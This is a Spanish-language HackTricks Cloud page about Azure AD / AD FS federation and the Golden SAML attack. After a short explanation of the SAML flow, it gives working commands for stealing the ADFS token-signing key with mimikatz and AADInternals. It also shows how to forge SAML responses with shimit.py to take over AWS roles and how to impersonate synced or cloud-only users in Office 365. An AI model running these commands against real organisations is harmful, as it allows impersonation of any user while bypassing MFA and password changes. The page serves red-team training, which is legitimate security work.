Az - Federation

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Basic Information

From the docs:La federación es un conjunto de dominios que han establecido confianza. El nivel de confianza puede variar, pero típicamente incluye autenticación y casi siempre incluye autorización. Una federación típica podría incluir un número de organizaciones que han establecido confianza para el acceso compartido a un conjunto de recursos.

Puedes federar tu entorno local con Azure AD y usar esta federación para autenticación y autorización. Este método de inicio de sesión asegura que toda la autenticación de usuarios ocurra en el local. Este método permite a los administradores implementar niveles de control de acceso más rigurosos. La federación con AD FS y PingFederate está disponible.

Básicamente, en la federación, toda la autenticación ocurre en el entorno local y el usuario experimenta SSO a través de todos los entornos de confianza. Por lo tanto, los usuarios pueden acceder a aplicaciones en la nube utilizando sus credenciales locales.

Security Assertion Markup Language (SAML) se utiliza para intercambiar toda la información de autenticación y autorización entre los proveedores.

En cualquier configuración de federación hay tres partes:

• Usuario o Cliente

• Proveedor de Identidad (IdP)

• Proveedor de Servicios (SP)

(Images from https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

1. Inicialmente, una aplicación (Proveedor de Servicios o SP, como la consola de AWS o el cliente web de vSphere) es accedida por un usuario. Este paso podría ser omitido, llevando al cliente directamente al IdP (Proveedor de Identidad) dependiendo de la implementación específica.

2. Posteriormente, el SP identifica el IdP apropiado (por ejemplo, AD FS, Okta) para la autenticación del usuario. Luego elabora una AuthnRequest SAML (Security Assertion Markup Language) y redirige al cliente al IdP elegido.

3. El IdP toma el control, autenticando al usuario. Después de la autenticación, una SAMLResponse es formulada por el IdP y enviada al SP a través del usuario.

4. Finalmente, el SP evalúa la SAMLResponse. Si se valida con éxito, lo que implica una relación de confianza con el IdP, se concede acceso al usuario. Esto marca la finalización del proceso de inicio de sesión, permitiendo al usuario utilizar el servicio.

Si deseas aprender más sobre la autenticación SAML y ataques comunes, ve a:

SAML AttacksHackTricks

Pivoting

• AD FS es un modelo de identidad basado en reclamos.

• "..los reclamos son simplemente declaraciones (por ejemplo, nombre, identidad, grupo), hechas sobre los usuarios, que se utilizan principalmente para autorizar el acceso a aplicaciones basadas en reclamos ubicadas en cualquier parte de Internet."

• Los reclamos para un usuario se escriben dentro de los tokens SAML y luego se firman para proporcionar confidencialidad por el IdP.

• Un usuario es identificado por ImmutableID. Es globalmente único y se almacena en Azure AD.

• El ImmutableID se almacena en local como ms-DS-ConsistencyGuid para el usuario y/o puede derivarse del GUID del usuario.

• Más información en https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims

Ataque Golden SAML:

• En ADFS, la SAML Response es firmada por un certificado de firma de token.

• Si el certificado es comprometido, ¡es posible autenticarse en Azure AD como CUALQUIER usuario sincronizado con Azure AD!

• Al igual que nuestro abuso de PTA, el cambio de contraseña para un usuario o MFA no tendrá ningún efecto porque estamos forjando la respuesta de autenticación.

• El certificado puede ser extraído del servidor AD FS con privilegios de DA y luego puede ser utilizado desde cualquier máquina conectada a Internet.

• Más información en https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

Golden SAML

El proceso donde un Proveedor de Identidad (IdP) produce una SAMLResponse para autorizar el inicio de sesión del usuario es fundamental. Dependiendo de la implementación específica del IdP, la respuesta puede estar firmada o encriptada utilizando la clave privada del IdP. Este procedimiento permite al Proveedor de Servicios (SP) confirmar la autenticidad de la SAMLResponse, asegurando que fue emitida por un IdP de confianza.

Se puede trazar un paralelo con el ataque de golden ticket, donde la clave que autentica la identidad y permisos del usuario (KRBTGT para tickets dorados, clave privada de firma de token para golden SAML) puede ser manipulada para forjar un objeto de autenticación (TGT o SAMLResponse). Esto permite la suplantación de cualquier usuario, otorgando acceso no autorizado al SP.

Los Golden SAML ofrecen ciertas ventajas:

• Pueden ser creados de forma remota, sin necesidad de ser parte del dominio o federación en cuestión.

• Siguen siendo efectivos incluso con Autenticación de Dos Factores (2FA) habilitada.

• La clave privada de firma de token no se renueva automáticamente.

• Cambiar la contraseña de un usuario no invalida un SAML ya generado.

AWS + AD FS + Golden SAML

Active Directory Federation Services (AD FS) es un servicio de Microsoft que facilita el intercambio seguro de información de identidad entre socios comerciales de confianza (federación). Esencialmente, permite a un servicio de dominio compartir identidades de usuario con otros proveedores de servicios dentro de una federación.

Con AWS confiando en el dominio comprometido (en una federación), esta vulnerabilidad puede ser explotada para adquirir cualquier permiso en el entorno de AWS. El ataque requiere la clave privada utilizada para firmar los objetos SAML, similar a necesitar el KRBTGT en un ataque de golden ticket. El acceso a la cuenta de usuario de AD FS es suficiente para obtener esta clave privada.

Los requisitos para ejecutar un ataque golden SAML incluyen:

• Clave privada de firma de token

• Certificado público del IdP

• Nombre del IdP

• Nombre del rol (rol a asumir)

• Dominio\nombre de usuario

• Nombre de sesión de rol en AWS

• ID de cuenta de Amazon

Solo los elementos en negrita son obligatorios. Los demás pueden ser completados como se desee.

Para adquirir la clave privada, es necesario acceder a la cuenta de usuario de AD FS. Desde allí, la clave privada puede ser exportada del almacén personal utilizando herramientas como mimikatz. Para recopilar la otra información requerida, puedes utilizar el complemento de Microsoft.Adfs.Powershell de la siguiente manera, asegurándote de haber iniciado sesión como el usuario de ADFS:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

Con toda la información, es posible olvidar una SAMLResponse válida como el usuario que deseas suplantar usando shimit:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n [e-mail] -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n [e-mail] -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

On-prem -> nube

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

También es posible crear ImmutableID de usuarios solo en la nube e impersonarlos.

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

Referencias

• https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed

• https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

• Revisa los planes de suscripción!

• Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.

• Comparte trucos de hacking enviando PRs a los repos de HackTricks y HackTricks Cloud.